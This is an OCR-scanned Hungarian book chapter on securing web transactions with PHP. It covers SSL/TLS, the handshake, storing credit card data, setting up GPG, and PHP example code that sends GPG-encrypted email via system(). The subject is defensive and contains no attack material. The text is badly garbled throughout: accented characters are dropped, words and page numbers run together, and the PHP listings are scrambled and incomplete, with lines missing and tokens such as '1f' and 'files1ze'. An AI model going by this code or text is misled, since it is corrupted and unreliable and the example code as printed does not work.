Az internet szmos pomps jellemzvel br, de jellegbl addan egy nem biztonsgos hlzatrl van sz. Amikor inform cit kldnk az egyik pontrl a msikra, egy pillanatra sem szabad elfelejtennk, hogy a kldtt informcit msok megtekint hetik vagy akr mdosthatjk. Errl mr esett sz Az e-kereskedelem biztonsgi krdsei cm 15. fejezetben. Ennek tudatban kell eidntennk, hogy milyen intzkedst kvnunk tenni. A szba jhet lehetsgeink: A fentiektl fggetlenl elkldjk az informcit, tudva azt, hogy msok megtekinthetik s esetleg mdostjk. Klds eltt digiclisan alrjuk az informcit, hogy vdjk a mdostscl. Klds eltt titkostjuk az informcit, hogy megrizzk titkossgt, s vdjk a mdoststl. gy hatrozunk, hogy az informci tl bizalmas ahhoz, hogy kockztassuk az illetkeelen kezekbe kerlst, s ms mdszerc keresnk az eljuttatsra. Az internet nagyfok nvtelensget biztost kzeg. Igen nehz meggyzdni arrl, hogy tnyleg azzal a szemllyel llunk kapcsolatban, akinek kiadja magt. Mg ha sajt cljainknak megfelelen meg is bizonyosodunk a felhasznl szemlyazo nossgrl, igen problms lenne ugyanezt olyan frum eltt is bizonytani, mint pldul a brsg. Mindez a letagadhacsg szintjn okoz problmkat, amirl a 15. fejezetben mr esett sz. Rviden: az adatvdelem s a letagadhatsg fontos krds az interneten keresztl folytatott tranzakcik esetben. Legalbb ktfle mdszer ltezik a kiszolglnkra rkez s onnan indul informci biztonsgoss ttelre: Secure Sockets Layer (SSL) protokoll Secure Hypertext Transfer Protocol (S-HTTP) Mindkc technolgia titkos, mdosthatsgtl mentes zenetkldst s hitelestse knl, de mg az SSL szles krben elr het s hasznlt, az S-HTTP nem igazn terjedt el. A fejezet ksbbi rszben rszletesen foglalkozunk az SSL-lel.
Sajt rendszernk
A vilgegyetem ltalunk tnylegesen kontroll alatt tarthat rsze a sajt rendszernk, ami a 18.1 brn a cglalapon belli al kotelemekbl ll ssze. Ezek az alkotelemek fizikailag elklnlhetnek a hlzaton, de az is elfordul, hogy egyetlen gpen helyezkednek el. Viszonylag biztonsgban tudhatjuk az informcit, amg a webes tartalmaink tovbbtsra hasznlt, ms gyrtk ksztette termkek kezelik azt. Ezen szofcverek fejleszti minden bizonnyal tbbet foglalkoztak a biztonsggal, mint amennyi idt mi fordtani tudunk a dologra. Feltve, hogy valamely jl ismert termk friss verzijt futtatjuk, a Google vagy kedvenc keresnk rudatos hasznlatval minden fontos problmrl tudomst szerezhetnk. Tudatostsuk magunkban, hogy igen lnyeges nap raksznek maradnunk e tren! Ha a mi feladatunk a telepts s a konfigurls is, rdemes foglalkoznunk azzal, hogyan leetek teleptve s konfigurlva az egyes szofcverek. A biztonsg tern elkvetett sok hiba a dokumentciban szerepl figyelmeztetsek figyelmen kvl hagy sbl ered, vagy ltalnos, a jelen knyv tartalmi korltain kvl es, rendszergazdai krdsek miatt kvetkezik be. rdemes elolvasni egy j knyvet az ltalunk hasznlni kvnt opercis rendszer belltsrl, vagy fizessk meg egy hozzrt rend szergazda szolglatait! A PHP teleptsekor mrlegelend szempont, hogy a SAPI modulknt webszervernkre teleptse ltalban biztonsgo sabb s hatkonyabb, mint CGI felleten keresztli futtatsa. Webes alkalmazsok fejlesztjeknt elsdlegesen azzal kell foglalkoznunk, hogy kdjaink mit tesznek, illetve mit nem tesznek. Milyen potencilisan bizalmas adatot kld alkalmazsunk a felhasznlknak interneten keresztl? Milyen bizalmas adatok tovbbtst krjk felhasznlinkcl? Ha rendszernk s a felhasznlink kzte ritkos tranzakcikban kell adatot tovbbtani, vagy szinte lehetedenn kell tenni annak mdoscst, akkor rdemes mrlegelni az SSL hasznlatr. Mr szba kerlt az SSL a felhasznl szmtgpe s a kiszolgl kztti hasznlata. Kpzeljk el azt az esetet is, amikor rendszernk kt alkoteleme kzte a hlzaton tovbbtunk adatokat! Tipikus pldja ennek az a helyzet, amikor MySQL adatbzisunk a webszervertl eltr gpen helyezkedik el. A PHP TCP/IP protokollon keresztl csatlakozik MySQL kiszol glnkhoz, s ez a kapcsolat nem titkostott. Ha mindkt gp privt helyi hlzaton mkdik, gondoskodnunk kell a hlzat biztonsgrL Ha a gpek az interneten keresztl kommuniklnak, akkor rendszernk minden bizonnyal lassan fog futni, s pontosan gy kell kezelni ezt a kapcsolatot, mint brmilyen ms, interneten keresztli kapcsolatot. Fontos, hogy amikor a felhasznlk azt gondoljk, hogy velnk kerlnek kapcsolatba, akkor az tnyleg gy legyen. Digitlis tanstvny regisztrlsval vdhetjk ltogatinkat a hamiststl (spoofing), vagyis az olyan tmadsoktl, arnikor valaki oldalunk egy hamistott vltozatra csalja a ltogatkat, illetve anlkl hasznlhacunk SSL protokollt, hogy felhasznlinknak figyelmeztet zenet jelenne meg. Radsul a digitlis tanstvny online vllalkozsunk megbzhatsgt sugallja. A kvetkez krds, hogy kdjaink gondosan ellenrzik-e a felhasznlk ltal bevitt adatokat. Gondoskodunk-e az adatok biztonsgos trolsrl? Ezekre a fejezet kvetkez rszeiben vlaszolunk.
18
280
18. fejezer
A Secure Sockers Layer (biztonsgos csatlakoz rteg) prorokollkszlerer erederileg a Netscape alalerotta ki a webszerverek s a bngszk kztti biztonsgos kommunikcihoz. Azta a bngszk s kiszolglk kztti bizalmas informcicsere nem hivatalos szabvnyaknt alkalmazzk. Az SSL 2-es s 3-as verzija is szles kren tmogatott. A webszerverek tbbsge vagy tartalmazza az SSL mkdsr, vagy kiegszt modulknt fogadja. Az I nternet Explorer s a F irefox is a 3-as verzirl tmogatja az SSL-r. A hlzati protokollokat s az azokat megvalsr szaftvereket jellernzen egymsra pakolt rtegekbe rendezik. Minden rteg a felerre s alatta lv rtegnek tovbbrhat adatot, illetve azokrl krher szolgltatsokat. A 18.2 brn ilyen protokollver met (protocol stack) lthatunk.
HTIP
IFTP l
IP
SMTP
...
TCP/UDP
Klnbz
HT TP
l l l
kzfogsSSl protokoll titkoshsSSL vlts protokoll figyelSSL meztet6 protokoll
. . .
18.3 bra: Az SSL mg egy rteget ad a protokollveremhez, illetve alkalmazsrtegbeli protokollok hozzadsval szablyazza sajt mkdst. Az SSL kpes biztonsgos tovbbrsi krnyezetet teremteni a HTTP-rl eltr prorokolloknak. Azrt lehet ms protokol lokat hasznlni, mert az SSL lnyegben tltsz. Az SSL ugyanazokat a fellereket knlja a felette lv prorokolloknak, mint az alatra lv szlltsi rteg. gy tlthatan kezeli a kzfogst (handshaking), a titkosrst s a visszafejtst. Amikor egy bngsz HTTP-n keresztl kapcsoldik biztonsgos webszerverhez, a bngsznek s a kiszolglnak kzfogsprotokollt kvetve kell megllapodnia arrl. hogy mir hasznlnak az olyan elemekhez, minr a hitelesrs s a titkosrs. A kzfogs szakasz az albbi lpsekbl ll:
l. A bngsz SSL-t kezelni kpes kiszolglhoz csatlakozik, s megkri, hogy hitelestse magt.
18
2. A kiszolgl elkldi digitlis tanstvnyr. 3. O pcionlisan a kiszolgl is krheti a bngszt, hogy hitelestse magr (ritkn fordul el).
4. A bngsz megadja az ltala tmogatott titkostsi algoritmusok s hash fggvnyek listjt. A kiszolgl kivlasztja az
ltala tmogatott legersebb titkostsr.
281
a. b. c.
A bngsz megszer a kiszolgl digitlis tansrvnybl a szerver nyilvnos kulcst, s egy vletlenszeren ell ltott szm titkostsra hasznlja. A kiszolgl egyszer szvegknt kldtt, vletlenszer adattal vlaszol (amennyiben a kiszolgl krsre a bng sz megadta digitlis tansrvnyt, akkor a kiszolgl a bngsz nyilvnos kulcst fogja hasznlni). A munkamenet titkostsi kulcsai ezekbl a vletlenszer adatokbl lltdnak el hash fggvnyek hasznlatval.
A j minsg vletlenszer adatok ellltsa, a digitlis tansrvnyak visszafej tse, a kulcsok generlsa s a nyilvnos kulcs titkosts mind idt vesz ignybe, gy a kapcsolatfelvteli procedra eltart egy darabig. Az eredmnyek szerencsre gyorsttrba kerlnek, gy ha ugyanaz a bngsz s kiszolgl tbb biztonsgos zenetet kivn vltani, a kapcsolatfelvteli folyamat s a feldolgozs csak egyszer megy vgbe. SSL kapcsolaton keresztli adatkldskor az albbiak trtnnek:
l. Az adatok kezelhet csomagokra bontsa.
2. Az egyes csomagok (opcionlis) tmrtse. 3. Minden csomag hash algoritmussal srnitott zenethitelest kdot (MAC) kap. 4. A MAC s a tmrtett adat kombinlsa s titkostsa.
5. A titkostott csomagok fejrsz-informcit kapnak, s elklddnek a hlzatnak.
Adatunk
Adatcsomagok
Tmrtett adatok
zenethitelest kd
Titkostott csomagok
TCP csomagok
fejrsz WH
l!::t:ttl
t:tm
'l
Az brbl kitnik, hogy a TCP fejrsz hozzadsa az adat titkostsa utn trtnik meg. Ez azt jelenti, hogy az rvlasztsi informcit mg mindig meg tudjk bolygatni, s br azt nem fogjk tudni, hogy rnilyen informcikat kldzgetnk, ltni fogjk, ki kinek kldi azokat. Annak, hogy az SSL-ben a titkosts eltt trtnik a tmrts, az az oka, hogy noha a hlzati forgalom nagy rsze a hl zaton val tovbbts eltt tmrthet (s gyakran valban trndtik is), a titkostott adatok nem jl tmrthetk. A tm rtsi algoritmusok az adatokon belli ismtldseket vagy mintkat prblnak azonostani. ltalban semmilyen haszonnal nem jr, ha az adatok titkostsa, azaz gyakorlatilag vletlenszer bitekk alaktsa utn prbljuk meg tmrteni azokat. Kel lemeden lenne, ha az SSL, amelynek clja a hlzatbiztonsg fokozsa, mellkhatsknc jelents mrtkben nveln a hlzati forgalmat. Noha az SSL viszonylag sszetetten mkdik, a Felhasznlk s a fejlesztk ell rejrve marad a trtntek nagy rsze, mivel a protokoll kls felletei meglv protokollokat msolnak. A jelenleg 1.1-es verzinl jr Transport Layer Security (szlltsi rtegbeli biztonsg, TLS) kzvetlenl az SSL 3.0-ra pl, de az SSL gyengesgeit kikszbl s nagyobb rugalmassgot knl fejlesztseket tartalmaz. A TLS-t egy valban nylt szabvnynak sznjk, hogy ne egy egyeden szervezet ltal meghatrozott, majd msok szmra elrhetv tett szabvny legyen.
18
282
18. fejezet
18
PHP forrsaink kvlrl nem lesznek lthatk. Amennyiben kiszolglnk gy van bellirva, hogy a PHP rtelmezvel dolgozza fel a
.
php
a kvlllk nem fogjk tudni megtekinteni az rtelmezs eltti forrskdot. Egyb kiterjesztsek hasznlara esern azonban vatosan kell eljrni. Ha . inc fjlokat helyeznk a webes knyvtrakba, az azokar krk a feldolgozatlan forrsr fogjk meg-
283
kapni. A heilleszrend fjlokat a webes fastruktrn kvl kell elhelyezni, s gy kell konfigurlni a kiszolglt, hogy ne teljest se az ilyen fjlokta vonatkoz krseket, vagy pedig . php kiterjesztst kell adni ezeknek az llomnyoknak is. Amennyiben msokkal osztozunk a kiszolgln, MySQL-jelszavunk lthatv vlhat a gp azon ms felhasznli szmra, akik ugyanezzel a kiszolglval futtatnak kdokat. Rendszernk belltsaitl fggen ez a helyzet megelzhet. A prebl mt azzal tudjuk elkerlni, ha a kiszolglt gy lltjuk be, hogy klnll felhasznlkknt futtassa a kdokat, vagy minden felhasznlval a webszerver sajt pldnyt futtassa. Ha nem mi vagyunk webszervernk rendszergazdja (ami megosztott kiszolgl esetn nagy valsznsggel igaz), akkor rdemes lehet megtrgyalni a rendszergazdval ezt a krdst s ttekinteni vele a biztonsgi lehetsgeket.
Hitelkrtyaadatok trolsa
A bizalmas adatok biztonsgos trolsnak ttekintse utn rdemes kln foglalkozni a bizalmas adatok egy klnleges fajt jval. Az internet-felhasznlkat klnsen aggasztja hitelkrtyaszmaik biztonsga. Ha trolni kvnjuk ezeket, nagyon krl tekinten jrjunk el! Tegyk fel magunknak a krdst, hogy mirt troljuk ezeket, illetve valban szksg van-e a trolsukra! Mire hasznlunk egy krryaszmot? Ha egyszeri tranzakcinl vals idben dolgozzuk fel a krtyaszmot, akkor jobban jrunk, ha bekrjk a vsrltl, s trols nlkl tovbbtjuk a tranzakci-feldolgoz tjrnak. Ha rendszeres djat szednk be, pldul folyamatos elfizets esetn havonta terheljk a krtyt, akkor ez a meg kzelts nem megfelel szmunkra. Ebben az esetben rdemes mrlegelni annak lehetsgt, hogy a krtyaszmokat a webszervernkn kvl, valahol mshol troljuk. Amennyiben sok vsrl krtyaadatt tervezzk trolni, gondoskodjunk kellen kpzett s kiss paranois rendszergazd rl, aki elegend idvel rendelkezik arra, hogy az opercis rendszernkkel s az ltalunk hasznlt egyb termkekkel, illetve azok biztonsgval foglalkoz informciforrsokat rendszeresen ellenrizze.
A GPG teleptse
A GPG Linux gpre teleptshez a www.gnupg.org oldalrl tlthetjk le a megfelel tmrtett fjlt. Attl fggen, hogy a . tar . g z vagy a . tar. b z 2 tmrtett llomnyt vlasztjuk, a gunzip vagy a gnl:
configure (vagy rendszernktl fggen . l configure )
tar
A program fordtshoz (compile) s teleptshez ugyanazokat a parancsokat kell hasznlni, mint a Linux-prograrnek tbbs
284
18.fezet
Ha nem vagyunk rendszergazdk (root felhasznlk), a --prefix opcival kell a konfigurl kdot futtatni, valahogy gy: . lconfigure --prefix=lkonyvtarunkleleresilutvonala Aztt kell ezt az opcit hasznlni, mett a nem root felhasznlknak nincsen hozzfrsle a GPG alaprtelmezett knyvtrhoz. Ha minden jl megy, a GPG fordtsa s a futtathat program a lusr llocal Ibinl gpg (vagy az ltalunk meghatrozott knyvtrba) kerl. Sok belltst mdosthatunk, a rszleteket a GPG dokumentcijban talljuk. Windowsos szerver esetn a folyamat mg ennl is egyszerbb. Tltsk le a zip fjlt, csomagoljuk ki, s helyezzk a gpg.
exe fjlt a megfelel knyvtrba (a C: \Windows\ vagy valami hasonl kivlan megfelel)! Hozzunk ltre egy knyvtrat
a C: \gnupg helyen! Ezt kveten nyissuk meg a parancssort, majd gpeljk be: gpg! A GPG-t vagy a PGP-t arra a rendszerre is teleptennk kell, illetve azon a rendszeren is ltre kell hozni egy kulcsprt, aho va az e-mailt kldeni kvnjunk. A webszerveren nagyon kevs klnbsget tallhatunk a GPG s a PGP parancssori verzii kztt, gy akr a GPG-t is hasznlhatjuk, lvn az ingyenes. Azonban a gpre, ahol a leveleket olvassuk, rdemes lehet megvsrolni a PGP fizets vlto zatt, mert annak szebb a levelezprogramhoz tartoz, grafikus kezelfellete. Ha mg nem rendelkeznk a kulcsprral, lltsunk el egyet a gpen, amin a levelet olvasni fogjuk! Emlkezhetnk r, hogy a kulcspr egy nyilvnos s egy titkos (privt) kulcsbl ll. Az elbbit msok (s PHP kdjaink) hasznljk a levl kldse eltt annak titkostsra, rolni. Amennyiben a GPG parancssori vltozatval lltjuk el a kulcsokat, rjuk be az albbi parancsot:
gpg --gen-key
az
utbbival mi magunk fejtjk vissza a berkez zeneteket, s rjuk al a kimen leveleket. Fontos, hogy
a kulcsot a levl olvassra hasznlt gpen s ne a webszerveren hozzuk ltre, mert titkos kulcsot nem ajnlott kiszolgln t
Szmos krdsre kell ekkor vlaszt adnunk. A legebbnl megfelel, ha egyszeren az alaprtelmezett vlaszt fogadjuk el. A program klnbz sorokban megkrdezi valdi nevnket, e-mail cmnket, illetve vr egy megjegyzst, amiket a kulcs elnevezsre hasznl. (Az n sajt kulcsom neve 'Luke Well ing <luke@tangledweb.com.au>'. Gondolom, rthet a sma. Ha a megjegyzst is megadnm, az a nv s a cm kz kerlne.). Az albbi paranccsal exportlhatjuk az j kulcsprbl a nyilvnos kulcsot:
gpg --export > fajlnev
A parancs futtatsnak eredmnyeknt olyan binris fjlt kapunk, amely alkalmas arra, hogy ms gpen lv GPG vagy PGP kulcstartba (key ring) importljuk. Ha viszont e-mailben szeretnnk ezt a kulcsot elkldeni msoknak, hogy importlni tudjk kulcstartjukba, a kvetkezkppen hozhatjuk ltre az ASCII verzijt a fjlnak:
gpg --export -a > fajlnev
A nyilvnos kulcs kinyerse urn FTP segtsgvel feltlthetjk a fjlt a webszerveren lv felhasznli fikunkba. A kvetkez parancsok a Unix hasznlatt felttelezik. A lpsek Windows alatt is ugyanezek, de a knyvtrak neve s a rendszerparancsok eltrnek. Elszr is jelentkezznk be a kiszolgln lv felhasznli fikunkba, majd vltoztassuk meg a fjljogosultsgokat, hogy ms felhasznlk is olvashassk az llomnyt! Gpeljk be a kvetkezket:
chrnod 644 fajlnev
Ltre kell hoznunk egy kulcstartt, hogy a PHP kdjainkat futtat felhasznl hasznlni tudja a GP G-t. Hogy ez melyik felhasznl, az kiszolglnk belltsaitl fgg. Gyakran a nobody, de lehet ms is. Vltoztassuk meg gy, hogy mi legynk a webszerver felhasznljal Ehhez rendszergazdai (root) hozzfrsre van szksg a kiszolglhoz. A webszerver sok rend szeren nobody-knt fut. A most kvetkez pldk ezt a felhasznlt felttelezik. ( Rendszernkn a megfelel felhasznlra vltoztathatjuk ezt). Ha ez ll rendszernkre is, gpeljk be a kvetkezket:
su root su nobody
Hozzunk ltre egy knyvtrat, amelyben a nobody trolni tudja a kulcstartjt s az egyb GPG konfigurcis informci kat! Ennek a nobody alaprtelmezett felhasznli knyvtrban (home directory) kell lennie. Az egyes felhasznlk alaprtelmezett knyvrrt az letclpasswd fjlban hatrozhatjuk meg. Sok Linux rendszeren a nobody alaprtelmezett knyvtra a l, amelybe ez a felhasznl nem jogosult rni. Szmos BSD rendszeren a nobody alap rtelmezett knyvtra a lnonexistent, amelybe, mivel nem ltezik, nem lehet rni. Rendszernkn a nobody felhasznl nak a l tmp lett alaprtelmezett knyvtrknt megadva. Gyzdjnk meg arrl, hogy webkiszolglnk felhasznlja rendelke
18
___ .. ,. ,
285
A nobody felhasznlnak sajt alrkulcsra van szksge. Ennek ltrehozshoz futtassuk jra az albbi parancsot:
gpg --gen-key
Mivel a nobody felhasznl vlheten kevs szemlyes jelleg e-mailt kap, mi is ltrehozhatjuk szmra a csak alr kul csot. Ennek a kulcsnak egyetlen clja, hogy megbzhassunk a korbban Icinyert nyilvnos kulcsban. Az albbi paranccsal impor tljuk a korbban exportlt nyilvnos kulcsot:
gpg --import fajlnev
Hogy kzlhessk a GPG-vel: meg kvnunk bzni ebben a kulcsban, az albbi paranccsal szerkesztennk kell a kulcs rulaj donsgait:
gpg --edit-key 'Luke Welling <luke@tangledweb.com.au>'
A fenti sorban az egyszeres idzjelek kztti szveg a kulcs neve. Nyilvnval: az olvas kulcsnak nem 'Luke Welling <luke@tangledweb. com.au>' lesz a neve, hanem a ltrehozsnl megadott nv, megjegyzs s e-mail cm kombincija. A prograrnon belli lehetsgek kztt megtalljuk a help-et is, amely az elrhet parancsokat- trust, sign s save ismerteti. A trust-ot begpelve kzljk a GPG-vel, hogy teljes mrtkben megbzunk kulcsunkban. A sign begpelsvel al rjuk a nobody felhasznl privt kulcst hasznl nyilvnos kulcsot. Vgl a save parancsot begpelve a vltoztatsainkat elmeneve lpjnk ki a programbl!
A GPG tesztelse
A GPG ezzel be lett lltva, hasznlatra ksz. A tesztelshez hozzunk ltre nmi szveget tartalmaz fjlt, majd mentsk el nven! Gpeljk be az albbi parancsot (kulcsunk nevt rtelemszeren berva):
gpg -a --recipient 'Luke Welling <luke@tangledweb.com.au>' --encrypt teszt.txt
teszt.txt
s ltrejn a teszt.txt.asc nev fjl. Ha megnyitjuk ezt, az albbihoz hasonl, titkostott zenetet ltunk:
-----BEGIN PGP MESSAGE----Version: GnuPG vl.0.3 Comment: (GNU/Linux)
hQEOAODU7hVGgdtnEAQAhr4HgR7xpiBsK9CiELQw85+klQdQ+p/FzqL8tiCrQ+B3 0GJTEehPUDErwqUw/uQLTds0rloPSriAZ7c6GVkhOYEVBj2MskT81IIBvdo950yH K9PUCvg/rLxJlkxe4Vp8QFETSE3Fdii/ly8VPSgSTE7gAgm0SbFf3S91PqwMyTkD /2oJEvL6e3cP384s0i8lrBbDbOUAAhCjjXt2DX/uX9q6Pl8QW56UICUOn4DPaWlG /gnNZCkcVDgLcKfBjbkB/TCWWhpA7o7kX4Cicih7KliMHY4RKdnCWQf27loE+8i9 cJRSCMsFioi6MMNRCQHY6p9bfxL2uE39IRJrQbe6xoEe0nkB0uTYxiLOTG+FrNrE tvBVMS0nsHu7HJey+oY4Z833p k5+MeVwYumJwlvHjdZxZmV6wz46G02XGT17b28V wSBnWOoBHSZsPvkQXHTOq65EixP8y+YJvBN3z4pzdHOXa+NpqbH7q3+xXmd30hDR +u7t6MxTLDbgC+NR =gfQu -----END PGP MESSAGE-----
Hogy visszakapjuk az eredeti szveget, tovbbtsuk ezt a fjlt arra a rendszere, ahol ellltottuk a kulcsot, majd futtassuk az albbi parancsot:
gpg teszt.txt.asc
A szveg a korbbival megegyez nev,jelen esetben a teszt. txtfjlba fog rdni. A szveg kpernyre ratshoz a -d kapcsolt kell hasznlnunk:
gpg -d teszt.txt.asc
Ha az alaprtelmezettl eltr nev fjlba szeretnnk helyezni a szveget, a -o kapcsolt hasznlva, illetve a kimeneti llo mnyt a kvetkezkppen meghatrozva tehetjk ezt meg:
gpg -do teszt.out teszt.txt.asc
Lthatjuk, hogy elszr a kimeneti fjlt kell megneveznnk. Amennyiben a GPG gy van belltva, hogy a PHP kdjainkat futtat felhasznl parancssorban tuclja hasznlni, majdnem teljesen megvagyunk. Ha ez nem lehetsges, egyeztessnk a rendszergazdval, vagy tanulmnyozzuk a GPG dokumentcijt! A 18.1s a 18.2 pldakd a GPG-t PHP-vel meghvva teszi lehetv titkostott e-mailek kldst.
18
286
18.fgezet
18.1 pldakd: titkos_ mail. php-A titkostott e-mailek kldsre szolgl HTML rlap
<html> <body> <hl>Kldjn nekem titkostott e-mailt!</hl> <?php ll ha nem az alaprtelmezett portokat, ll s SSL-hez a 443-ast hasznljuk, if($ SERVER['SERVER_PORT'] !=443) { norml forgalomhoz a 80-ast mdostani kell ezt a sort
echo '<p style="color: red">FIGYELMEZTETS: nem SSL hasznlatval csatlakozott az oldalhoz. zenett brki ms is elolvashatja.</p>'; ?> <form method="post" action="titkos_mail kuldese.php"> <p>E-mail cme:<br/> <input type="text" name="felado" size="40"/></p> <p>Trgy:<br/> <input type="text" name="targy" size="40"/></p> <p>zenet:<br/> <textarea name="uzenet" cols="30" rows="l0"></textarea></p> <br/> <input type="submit" name="kuldes" value="Klds"/> </form> </body> </html>
18.2 pldakd: titkos_mail_kuldese .php-A GPG-t meghv s a titkostott e-mailt elkld PHP kd
<?php //rvid vltoznevek ltrehozsa $felado = $ POST['felado']; $targy
=
$ POST['targy'];
18
//egyedi fjlnv ltrehozsa $bemeno fajl $kimeno_fajk tempnam('', 'pgp'); $bemeno fajl.'.asc';
287
/la felhasznl szvegnek a fjlba rsa $fp = fopen($bemeno faJl, fwrite($fp, $uzenet); 'w');
fclose($fp);
//parancsunk belltsa $parancs = "/usr/local/bin/gpg -a \\ --recipient 'Luke Welling <luke@tangledweb.com.au>' \\ --encrypt -o $kimeno_fajl $bemeno_fajl";
if($eredmeny==0) 1f((!$fp)
{
'r');
$fp = fopen($kimeno_fajl,
l l
(files1ze($k1meno fajl)==O))
-
$eredmeny = else
1;
mail($cimzett,
$targy,
$tartalom,
"Felad:
".$felado."\n");
if($eredmeny!=O) echo '<hl>Hiba:<lhl> <p>Az zenetet nem sikerlt tikostani.</p> <p>Levelt nem kldtk el.<lp> <p>Elnzst krnk.<lp>';
?>
Nhny aprbb mdostst vgre kell hajtanunk a kd mkdshez. Az e-mailek a $cmzett vltozban meghatrozott e-mail cmre lesznek elkldve.
A 18.2 pldakdban a GPG kulcstart helynek megfelelen mdostani kell az albbi sort:
putenv('GNUPGHOME=Itmpl.gnupg');
,.
jt is. Krlbell egy msodpercen bell ltrehozzuk s kitrljk ezeket a fjlokat, gy nem igazn fontos a nevk, a lnyeg. hogy egyedi legyen. Pldnkban a 'pgp ' eltagot alkalmaztuk, de hagytuk, hogy a PHP a rendszer ideiglenes knyvrrt hasznlja.
18
288
18. fejezet
Ez a parancs
$parancs
=
"/usr/local/bin/gpg --recipient
-a \\
\\
a GPG meghvshoz hasznland parancsot s paramtereket lltja be. Sajt hasznlati krlmnyeinknek megfelelen kell mdostanunk. Amikor pldul parancssorban hasznljuk, kzlnnk kell a GPG-vel, melyik kulccsal titkostsa az zenetet. A
system($parancs, $eredmeny);
parancs futtaga a $parancs vltozban trolt utastsokat, s az $eredmeny vltozban trolja el a visszatrsi rtket. Nem felttlenl szksges foglalkoznunk a visszarrsi rtkkel, de segtsgvel - s egy if utasts segtsgvel - kzlhetjk a felhasznlval, ha valami balul sl el. Ha befejeztk munknkar az ideiglenes fjlokkal, az unlink () fggvnnyel rrlhegk ket. Ez azt jelenti, hogy a felhasz nl nem titkosrorr leveleit rvid ideig troljuk a kiszolgln. Ha a kiszolgl a kd futtatsa kzben lell, a fjl akr a szerve ren is ragadhat. Ha foglalkoztat bennnker kdunk biztonsga, fontos, hogy a rendszernkn belli sszes informcimozgst figyelembe vegyk. A GPG ritkosrja levelnket, s lehetv teszi a fogad szmra annak visszafejtst, de ezt megelzen hogyan rkezik a kldrl az informci' Ha webes felletet knlunk GP G-vel ritkosrott levelek kldsre, az informci tja a 18.5 brhoz hasonl lesz.
l 2
Felad bngszje
Webszerver
Cmzett levelezszervere
Cmzett levelezkliense
18.5 bra: A titkostott levelezalkalmazsban az zenetet hromszor tovbbljuk az interneten. Az brn minden nyl az egyik gprl a msikra kldrr zenetet jelkpezi. Elkldsekor az zenet az interneten kzlekedik, s szmos kztes hlzaton s gpen haladhat keresztl. A pldban vizsglt kd az brn a Webszerver feliratot visel gpen tallhat. A webszerveren az zenet a cmzett nyilvnos kulcsval lesz titkosrva. Ezt kveten a kiszolgl SMTP-n keresztl elkldi a cmzett levelezszervernek. A cmzett- pldul POP vagyIMAP protokollon keresztl- csatlakozik levelezszer verhez, majd levelezkliensvel letlti az zenetet.Itt titkos kulcsval visszafejti a levelet. A 18.5 brn az l-es, 2-es s 3-as nyl jelli az adarrovbbtst. A 2-es s 3-as szakaszban az zenet GPG-vel titkosrva tovbbtdik, a titkos kulcs nlkl senki nem rudja visszafejteni. Az l-es szakaszban azonban a felad ltal az rlapba bevitt szvegknt tovbbrdik az zenet. Ha a tovbbrani kivnt informci elg fontos ahhoz, hogy a msodik s harmadik krben titkosrva kldjk azt, akkor butasg azt els krben titkosrs nlkl tovbbtani. Ezrt ez a kd SSL-es kiszolgln hasznland. Ha SSL nlkl prblunk meg kapcsoldni a kdhoz, figyelmeztetst kapunk. A $_SERVER [ 'SERVER_ PORT' l rtkt ellenrizve gyzdhetnk meg errl. Az SSL kapcsolat a 443-as porton keresztl jn. Minden ms kapcsolat hibt eredm nyez. A hibazenet megjelenrse helyerr mshogyan is kezelhegk az ilyen helyzetet. P ldul SSL kapcsolaton keresztl tir nythaguk a felhasznlt ugyanahhoz az URL-hez. Dnthetnk gy is, hogy nem foglalkozunk vele, mert ha az rlapot biz tonsgos kapcsolaton keresztl kldjk el, akkor a hibnak nincsen jelentsge. A lnyeg az, hogy a felhasznl ltal az rlapba bevitt adatokat biztonsgosan kldjk el. Az rlap mveleteknt (action) megadhatnnk egyszeren a teljes URL-t is. A nylt rlap cmkje jelenleg a kvetkezkppen nz ki:
<form method="post" action="titkos_ma1l kuldese.php">
Mdosthatjuk gy, hogy az adatokat akkor is SSL-en keresztl kldjk, ha a felhasznl SSL nlkl csatlakozott:
<form method="post" action="https://webserver/titkos_mail_kuldese.php">
Ha gy berjuk kdunkba a teljes URL-t, biztosak lehetnk benne, hogy a ltogatk adatai SSL hasznlatval lesznek el kldve, de ha msik szerveren vagy msik knyvtrban hasznljuk a kdot, minden esetben mdostani kell.
18
Noha sem most, sem ms hasonl helyzetben nem felttlenl fontos, hogy az res rlapot SSL-en keresztl kldjk a fel hasznlnak, mgis rdemes ezt a megoldst vlasztani. A bngszjk llapotsorn megjelen kis lakat ikon megersti az emberekben azt a hitet, hogy az ltaluk megadorr informci biztonsgos mdon megy el. gy nem kell a HTML forrskdban az rlap action rulajdonsgt kibogarszniuk ahhoz, hogy nyugodtak lehessen adataik biztonsga fell.
289
Tovbbi olvasnival
Az SSL 3.0-s verzijnak specifikcija a Netscape oldalrl tlthet le: http:/ /wp.netscape.com/eng/ssl3/. Ha szeretnnk tbbet megtudni a hlzatok s a hlzati protokollok mkdsrl, olvassuk el Andrew S. Tanenbaum Computer Networks (Szmtgpes hlzatok) cm klasszikus alapoz knyvt!
Hogyan tovbb:
Ezzel vgre rtnk az elektronikus kereskedelemmel s a biztonsggal kapcsolatos krdsek ttekintsnek. A knyv kvet kez rszben halad szint PHP-mdszerekkel ismerkednk meg. Egyebek kzte megtudhag uk azt, hogyan lphetnk kapcsolatba az interneten lv ms gpekkel, hogyan hozhatunk ltre menetkzben kpeket, illetve hogyan alkalmazhatjuk
a
munkamenet-vezrlst.
IV
Halad PHP--mdszerek
19
20
21
Dtum s id kezelse
22
Kpek ellltsa
23
Munkamenet-vezrls PHP-ben
24
19
A fjlrendszer s
a
kiszolgl elrse
Az Adatok trolsa s visszakeresse cm 2. fejezetbl megrudruk, hogyan olvashatunk adatokat a webszervererr lv fjlokbl,
illetve hogyan rhatunk azokba. A mostani fejezetben olyan PHP fggvnyekkel ismerkedhetnk meg. amelyek lehetv teszik, hogy kapcsolatba lpjnk a kiszolgln lv fjlrendszerreL
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Fjlfeltlts PHP-ben Knyvtrfggvnyek hasznlata Kiszolgln lv fjlok elrse s kezelse Programok futtatsa a kiszolgln Szerverkrnyezeti vltozk hasznlata
A fggvnyek hasznlatt egy pldn keresztl fogjuk megvizsglni. Kpzeljnk el egy olyan helyzetet, amikor gyfelnk azt
